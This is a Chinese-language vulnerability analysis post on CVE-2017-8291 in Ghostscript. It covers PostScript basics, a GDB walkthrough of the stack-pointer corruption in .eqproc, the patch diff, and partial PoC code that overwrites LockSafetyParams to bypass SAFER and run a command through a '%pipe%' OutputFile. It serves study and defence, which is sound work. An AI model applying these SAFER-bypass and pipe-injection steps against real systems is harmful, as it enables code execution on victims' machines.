CVE-2017-8291及利用样本分析

简介: CVE-2017-8291及利用样本分析

CVE-2017-8291及利用样本分析




1.本文一共4500多字 88张图 预计10分钟阅读完毕2.本人系复眼小组ERFZE师傅原创,未经允许禁止转载3.本文可能存在部分表达的不清甚至错误的情况,还希望各位看官在公众号留言多多提出,非常感谢!


封面


0x00 前言:

在日常的针对朝鲜半岛APT活动的分析中,我们可以看到其来自朝鲜的APT组织,例如:lazarus,kimsuky等,其载荷中大量使用了韩国办公软件Hancom office所对应的hwp后缀的样本进行投递.本文将通过解析其中所用的最多的漏洞——CVE-2017-8291为切入点进行相关的分析,以及kimsuky,LazarusAPT组织样本的调试过程

注意:笔者在此前从未接触过Postscript及Ghostscript(甚至不闻其名),该文权当笔者在学习过程中的一篇学习笔记,其中如有不当之处,望各位看官能够赐教,笔者感激不尽!。

0x01 Postscript:

读者可以先行安装Ghostscript,之后便可于其中运行下列示例。

0x01.1 介绍:(引自维基百科)

注:读者若要详细了解,见参考链接。

PostScript是一种图灵完全的编程语言,通常PostScript程序不是人为生成的,而是由其他程序生成的。然而,仍然可以使用手工编制的PostScript程序生成图形或者进行计算。

PostScript是一种基于堆栈的解释语言(例如stack language),它类似于Forth语言但是使用从Lisp语言派生出的数据结构。这种语言的语法使用逆波兰表示法,这就意味着不需要括号进行分割,但是因为需要记住堆栈结构,所以需要进行训练才能阅读这种程序。

0x01.2 入门示例:

1.1 2 add:1+22.3 4 add 5 1 sub mul:(3 + 4) × (5 - 1)3./x1 15 def:定义一变量x1,其值为154./x1 x1 2 add defx1+=25.x1 0 eq { 0 } if{}可以简单理解为定义一过程6.%!PS-Adobe-3.0 EPSF-3.0:注释语句以%开头

0x01.3 For语句:

for语句语法:initial increment limit proc for

它会维护一个control variable,初始值设为initial。然后,在每次重复之前,会先比较control variablelimit。若未超过limit,则 将control variable入栈,执行proc之后再将increment添加到control variable

示例如下:



01 1 10 {    pop    1 add} for

可以用C语言写成(仅仅为表示其功能):




int a = 1;int i;for (i = 1; i <= 10; i++){    a+=1:}


图片1 运行结果


pstack打印当前栈中所有元素。

0x01.4 exch语句:

交换堆栈顶部的两个元素:


图片2 exch


可以用来给变量赋值:


图片3 变量赋值


0x01.5 array语句:

定义数组:


图片4 定义数组


0x01.6 put语句:

为数组/字典/字符串中某个元素赋值:


图片5 数组



图片6 字典



图片7 字符串


0x01.7 index语句:

index语句语法:anyn … any0 n index

复制第n个元素到栈顶:


图片8 index


forput语句结合使用,可以为整个数组赋值:


图片9 整个数组赋值


可以用C语言写成(仅仅为表示其功能):




int tmp[10];int i;int a = 0;for (i = 1; i <= 10; i++){    tmp[a] = i;    a += 1;}

0x01.8 get语句:

put语句相反,取出数组/字典/字符串中某个元素:


图片10 数组



图片11 字典



图片12 字符串


0x01.9 aload语句:

将数组元素及其自身入栈:


图片13 aload


0x01.10 le语句:

取出栈顶两个元素进行比较,结果(前者小于后者,为true;反之为false)入栈:


图片14 数值



图片15 字符串


0x01.11 ge语句:

le语句比较规则相反:


图片16 ge


0x01.12 repeat语句:

repeat语句语法:int proc repeat

重复执行proc指定次数:


图片17 repeat


笔者上述介绍的语句均在POC中出现,若读者未完全理解,可进一步查阅官方参考文档。

0x02 POC分析:

笔者分析环境:Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg


图片18 POC(Part 1)


可以用C语言写成(仅仅为表示其功能):





int size_from = 10000;    int size_step = 500;    int size_to = 65000;
    int a = 0;    int i;
    for (i = size_from; i <= size_to; i += size_step)        a += 1;
    int buffercount = a;    int* buffersizes = NULL;    buffersizes = (int*)malloc(buffercount * sizeof(int));
    a = 0;    for (i = size_from; i <= size_to; i += size_step)    {        buffersizes[a] = i;        a += 1;    }


图片19 POC(Part 2)


其功能为定义buffers,令buffers[n]buffersizes[n] string(e.g.:buffers[0]=10000 string),且每个buffers[n]的最后16位均为0xFF。关于cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for这段代码如何修改buffers[n]的理解,可参阅下图:


图片20 示例代码



下面到了关键部分。首先修改POC如下:




/buffersearchvars [0 0 0 0 0] def/sdevice [0] def
buffers            %++(buffers) print    %++pop                %++
enlarge array aload(after aload) print        %++

如此一来,可直接在zprint()函数处设断。(若在zaload()函数处设断,无法一次断下)

启动GDB后设置参数如下:


set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps

实现aload操作的函数zaload()[位于/psi/zarray.c]是第一个关键点:


图片21 zaload()


b zprint设置断点,r开始执行后,成功在zprint()函数处断下:


图片22 于zprint()设断


查看osp及osbot(变量名osbot,osp和ostop代表operator stack的栈底、栈指针和栈顶):



gdb-peda$ p osbot$29 = (s_ptr) 0x555557040408    gdb-peda$ p osp$30 = (s_ptr) 0x555557040418        gdb-peda$ x /4gx osbot0x555557040408:    0x0000006f5715047e    0x00005555572d5e600x555557040418:    0x00000007ffff127e    0x00005555575d44e9

根据ref_s结构(位于/psi/iref.h)的定义:



struct ref_s {
    struct tas_s tas;
    union v {            /* name the union to keep gdb happy */        ps_int intval;        ushort boolval;        float realval;        ulong saveid;        byte *bytes;        const byte *const_bytes;        ref *refs;        const ref *const_refs;        name *pname;        const name *const_pname;        dict *pdict;        const dict *const_pdict;        /*         * packed is the normal variant for referring to packed arrays,         * but we need a writable variant for memory management and for         * storing into packed dictionary key arrays.         */        const ref_packed *packed;        ref_packed *writable_packed;        op_proc_t opproc;        struct stream_s *pfile;        struct gx_device_s *pdevice;        obj_header_t *pstruct;        uint64_t dummy; /* force 16-byte ref on 32-bit platforms */    } value;};

可知0x00005555575d44e9地址处存储的应该是buffers字符串,验证之:


图片23 字符串buffers


那么0x00005555572d5e60地址处存储的是buffers数组,根据POC Part2能够得知buffers[n]buffersizes[n] string,且每个buffers[n]的最后16位均为0xFF,验证之:


图片24 数组元素buffers[0]


b zaloadzaload()函数处设断,c继续执行,于zaload()函数处成功断下后,s单步执行到if (asize > ostop - op)





gdb-peda$ p asize$37 = 0x3e8gdb-peda$ p ostop-op$38 = 0x31f

IF条件成立,那么调用ref_stack_push()函数(位于/psi/istack.c)重新分配栈空间:





/* * Push N empty slots onto a stack.  These slots are not initialized: * the caller must immediately fill them.  May return overflow_error * (if max_stack would be exceeded, or the stack has no allocator) * or gs_error_VMerror. */intref_stack_push(ref_stack_t *pstack, uint count){    /* Don't bother to pre-check for overflow: we must be able to */    /* back out in the case of a VMerror anyway, and */    /* ref_stack_push_block will make the check itself. */    uint needed = count;    uint added;
    for (; (added = pstack->top - pstack->p) < needed; needed -= added) {        int code;
        pstack->p = pstack->top;        code = ref_stack_push_block(pstack,                                    (pstack->top - pstack->bot + 1) / 3,                                    added);        if (code < 0) {            /* Back out. */            ref_stack_pop(pstack, count - needed + added);            pstack->requested = count;            return code;        }    }    pstack->p += needed;    return 0;}

之后的操作是向重新分配的栈空间中写入内容,b zarray.c:71于修改osp语句设断,c继续执行到断点处:





gdb-peda$ x /2gx osp0x5555575006f8:    0x0000000000000e00    0x0000000000000000gdb-peda$ x /2gx &aref0x7fffffffc8e0:    0x000003e85715047c    0x000055555796c3e8gdb-peda$ s......gdb-peda$ x /2gx osp0x5555575006f8:    0x000003e85715047c    0x000055555796c3e8

x /222gx 0x5555572d5e60查看buffers数组的每一项地址:


图片25 buffers


注意:osp(0x5555575006f8)位于上图箭头所指数组项下方。


实现.eqproc操作的函数zeqproc()(位于/psi/zmisc3.c)是第二个关键点。.eqproc是取出栈顶两个元素进行比较之后入栈一个布尔值(  .eqproc ):


图片26 zeqproc()


可以看出其在取出两个操作数时并未检查栈中元素数量,且并未检查两个操作数类型,如此一来,任意两个操作数都可以拿来进行比较。其修复方案即是针对此两种情况:








--- a/psi/zmisc3.c+++ b/psi/zmisc3.c@@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p)     ref2_t stack[MAX_DEPTH + 1];     ref2_t *top = stack;
+    if (ref_stack_count(&o_stack) < 2)+        return_error(gs_error_stackunderflow);+    if (!r_is_array(op - 1) || !r_is_array(op)) {+        return_error(gs_error_typecheck);+    }+     make_array(&stack[0].proc1, 0, 1, op - 1);     make_array(&stack[0].proc2, 0, 1, op);     for (;;) {

b zeqproc设断后,c继续执行,于zeqproc()函数处成功断下。接下来b zmisc3.c:112make_false(op - 1);设断:




gdb-peda$ b zmisc3.c:112Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.gdb-peda$ c......gdb-peda$ p osp$66 = (s_ptr) 0x5555575006f8gdb-peda$ x /4gx osp-10x5555575006e8:    0x0000000000000e02    0x00000000000000000x5555575006f8:    0x000003e85715047c    0x000055555796c3e8gdb-peda$ s......gdb-peda$ x /4gx osp-10x5555575006e8:    0x0000000000000100    0x00000000000000000x5555575006f8:    0x000003e85715047c    0x000055555796c3e8

可以看到make_false()修改之处。之后的pop(1);将栈指针上移,如此一来.eqprocloop结合便可导致栈指针上溢。


下面来看POC Part3:


图片27 POC(Part3)


其通过buffersearchvars数组来检索buffers[N](修改项见图片25)字符串后16位是否被make_false()修改,进而判断osp是否到达可控范围,并通过buffersearchvars数组来保存位置。

于POC中254 le {后添加(Overwritten) print,并将之前添加的print语句全部注释掉。重新启动GDB,设置参数见上,b zprint设断后,r开始运行,成功断下后:



gdb-peda$ x /8gx osp-20x5555574fc958:    0xffffffffffff0100    0xffffffffffff00000x5555574fc968:    0x0000a604ffff127e    0x00005555574f23640x5555574fc978:    0x0000000a2f6e127e    0x00005555575de0fb0x5555574fc988:    0x5245504150200b02    0x0000000000000001

如此一来,buffersearchvars[2]设为1,退出loop循环。buffersearchvars[3]保存当前检索的buffers[N],buffersearchvars[4]保存buffersizes[N]-16。


POC Part4是修改currentdevice对象属性为string,并保存至sdevice数组中,之后再覆盖其LockSafetyParams属性,达到Bypass SAFER。


图片28 POC(Part4)


三个.eqproc语句上移osp是因为后面会有sdevice、0、currentdevice入栈。修改POC如下,便于设断:









(before zeqproc) print.eqproc.eqproc.eqprocsdevice 0currentdevice(before convert) printbuffersearchvars 3 get buffersearchvars 4 get 16#7e putbuffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 putbuffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put(after convert) printput
buffersearchvars 0 get array aload
sdevice 0 get16#3e8 0 put
sdevice 0 get16#3b0 0 put
sdevice 0 get16#3f0 0 put
(bypass SAFER) print

zprint断下后,查看上移前osp:





gdb-peda$ p osp$1 = (s_ptr) 0x5555574fc968gdb-peda$ x /10gx osp-30x5555574fc938:    0x0000000000000000    0x0000000000000000        //sdevice0x5555574fc948:    0x0000000000000000    0x0000000000000000        //00x5555574fc958:    0xffffffffffff0100    0xffffffffffff0000        //currentdevice0x5555574fc968:    0x0000000effff127e    0x00005555572d81400x5555574fc978:    0x00000001ffff04fe    0x00005555572d6c40gdb-peda$ hexdump 0x00005555572d81400x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e   before zeqproc.>

c继续向下执行:





gdb-peda$ p osp$2 = (s_ptr) 0x5555574fc968gdb-peda$ x /10gx osp-30x5555574fc938:    0x00000001ffff047e    0x00005555575d44280x5555574fc948:    0x00000252ffff0b02    0x00000000000000000x5555574fc958:    0xffffffffffff1378    0x000055555709d4880x5555574fc968:    0x0000000effff127e    0x00005555572d812a0x5555574fc978:    0x00000001ffff04fe    0x00005555572d6c40gdb-peda$ hexdump 0x00005555572d812a0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f   before convert.?

可以看到currentdevice已经覆盖掉之前的字符串buffers[N],接下来的三条语句修改其属性:




buffersearchvars 3 get buffersearchvars 4 get 16#7e putbuffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put    %0x127e表示stringbuffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put    %修改size

关于属性各字段定义见tas_s结构(位于/psi/iref.h)):




struct tas_s {/* type_attrs is a single element for fast dispatching in the interpreter */    ushort type_attrs;    ushort _pad;    uint32_t rsize;};

修改完成:






gdb-peda$ c......gdb-peda$ p osp$2 = (s_ptr) 0x5555574fc968gdb-peda$ x /10gx osp-30x5555574fc938:    0x00000001ffff047e    0x00005555575d44280x5555574fc948:    0x00000252ffff0b02    0x00000000000000000x5555574fc958:    0xffffffffffff127e    0x000055555709d4880x5555574fc968:    0x0000000dffff127e    0x00005555572d81150x5555574fc978:    0x00000002ffff0b02    0x000000000000a5f9gdb-peda$ hexdump 0x00005555572d81150x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00   after convert.?.

查看此时的LockSafetyParams值:





gdb-peda$ x /4gx 0x000055555709d488+0x3e80x55555709d870:    0x0000000000000001    0x00000000000000000x55555709d880:    0x0000000000000000    0x0000000000000000gdb-peda$ x /4gx 0x000055555709d488+0x3b00x55555709d838:    0x0000000000000000    0x00000000000000000x55555709d848:    0x0000000000000000    0x0000000000000000gdb-peda$ x /4gx 0x000055555709d488+0x3f00x55555709d878:    0x0000000000000000    0x00000000000000000x55555709d888:    0x0000000000000000    0x0000000000000000

可以看到偏移0x3e8处值为1(另外两处偏移应该是针对其他系统或版本)。LockSafetyParams属性见gx_device_s结构(位于\base\gxdevcli.h)。

最后通过.putdeviceparams(实现位于/psi/zdevice.c)设置/OutputFile(%pipe%echo vulnerable > /dev/tty).outputpage完成调用。


相关实践学习
阿里云图数据库GDB入门与应用
图数据库(Graph Database,简称GDB)是一种支持Property Graph图模型、用于处理高度连接数据查询与存储的实时、可靠的在线数据库服务。它支持Apache TinkerPop Gremlin查询语言,可以帮您快速构建基于高度连接的数据集的应用程序。GDB非常适合社交网络、欺诈检测、推荐引擎、实时图谱、网络/IT运营这类高度互连数据集的场景。 GDB由阿里云自主研发,具备如下优势: 标准图查询语言:支持属性图,高度兼容Gremlin图查询语言。 高度优化的自研引擎:高度优化的自研图计算层和存储层,云盘多副本保障数据超高可靠,支持ACID事务。 服务高可用:支持高可用实例,节点故障迅速转移,保障业务连续性。 易运维:提供备份恢复、自动升级、监控告警、故障切换等丰富的运维功能,大幅降低运维成本。 产品主页:https://www.aliyun.com/product/gdb
相关文章
|
Python
简易评分系统
如果用户名及口令不合法,用户名或口令最多可输入3次,验证错误超过3次以后,自动退出系统。
130 0
|
机器学习/深度学习 算法 数据挖掘
Sentieon | 应用教程: 使用DNAscope对HiFi长读长数据进行胚系变异检测分析
Sentieon | 应用教程: 使用DNAscope对HiFi长读长数据进行胚系变异检测分析
119 0
|
存储 数据安全/隐私保护
CVE-2017-8291及利用样本分析(二)
CVE-2017-8291及利用样本分析
|
存储 安全 JavaScript
CVE-2017-12824及利用样本分析(二)
笔者于书写此文之前从未接触过InPage,该文权当笔者于学习过程中的文章学习笔记,其中如有不当或错误之处,望读者不吝赐教,笔者感激不尽。
|
存储 安全 虚拟化
CVE-2017-0261及利用样本分析
CVE-2017-0261及利用样本分析
|
安全 Windows
CVE-2017-12824及利用样本分析(一)
笔者于书写此文之前从未接触过InPage,该文权当笔者于学习过程中的文章学习笔记,其中如有不当或错误之处,望读者不吝赐教,笔者感激不尽。
|
安全 Windows
CVE-2018-0798及利用样本分析
•成因:EQNEDT32.exe在解析Matrix record时,并未检查长度,从而造成栈溢出。无论打不打CVE-2017-11882补丁都可以成功触发,使得攻击者可以通过刻意构造的数据内容及长度覆盖栈上的函数返回地址,从而劫持程序流程。
|
存储 安全 JavaScript
CVE-2017-11882及利用样本分析
Windows的公式编辑器EQNEDT32.EXE读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,从而劫持程序流程。
|
机器学习/深度学习 数据采集 运维
基于支持向量机的网络⼊侵检测系统的全面调查和分类
基于支持向量机的网络⼊侵检测系统的全面调查和分类
|
SQL 安全 JavaScript
常见漏洞分类
常见漏洞分类
339 0
常见漏洞分类